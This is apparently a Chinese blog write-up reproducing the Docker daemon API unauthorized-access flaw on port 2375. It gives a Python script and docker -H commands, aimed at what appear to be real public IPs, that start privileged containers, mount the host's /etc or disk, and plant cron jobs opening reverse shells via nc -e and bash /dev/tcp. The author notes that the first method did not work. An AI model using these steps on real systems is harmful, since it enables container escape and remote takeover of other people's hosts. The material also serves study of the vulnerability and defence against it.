docker daemon api 未授权访问漏洞

漏洞环境

编译及启动漏洞环境:

docker-compose build
docker-compose up -d

环境启动后,将监听2375端口。

漏洞复现

 

利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

写入crontab文件,成功反弹shell:

没复现成功哈

 

 

 

方法二

原理:创建一个docker容器,进入alpine容器,把本地的盘符挂到容器里,通过创建cron任务反弹shell

docker -H 1.117.159.190:2375 images
docker -H 1.117.159.190:2375 pull alpine
进入镜像
docker -H 1.117.159.190:2375 run -it --privileged alpine /bin/sh
1
2
3
4
5
6
7
8
9
查看本地磁盘
fdisk -l
 
 
在容器创建test目录
mkdir test
 
把本地磁盘挂在到容器test目录下
mount /dev/vda1 /test

  

 

 

 

编辑 /var/spool/cron/crontabs/root
添加计划任务 */1 * * * * bash -i >& /dev/tcp/43.134.29.177/6666 0>&1

 

 

 反弹shell

 

 

宿主机docker版本为18.09.9,否则以上逃逸无效 

posted @   任尔东西南北风  阅读(334)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示